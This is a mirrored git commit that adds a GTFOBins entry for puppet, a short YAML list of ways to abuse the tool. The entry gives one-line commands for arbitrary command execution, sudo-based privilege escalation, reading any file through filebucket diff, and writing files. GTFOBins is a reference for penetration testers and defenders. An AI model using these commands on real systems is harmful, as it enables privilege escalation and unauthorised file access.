mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-12 15:01:51 +01:00
commit
ce47cfd209
19
_gtfobins/puppet.md
Normal file
19
_gtfobins/puppet.md
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
execute-non-interactive:
|
||||||
|
- code: |
|
||||||
|
export CMD="/usr/bin/id"
|
||||||
|
puppet apply -e "exec { '${CMD}': }"
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
export CMD="/usr/bin/id"
|
||||||
|
sudo puppet apply -e "exec { '${CMD}': }"
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
export LFILE=file_to_read
|
||||||
|
puppet filebucket -l diff /dev/null ${LFILE}
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
export LFILE="/tmp/file_to_write"
|
||||||
|
puppet apply -e "file { '${LFILE}': content => 'data' }"
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user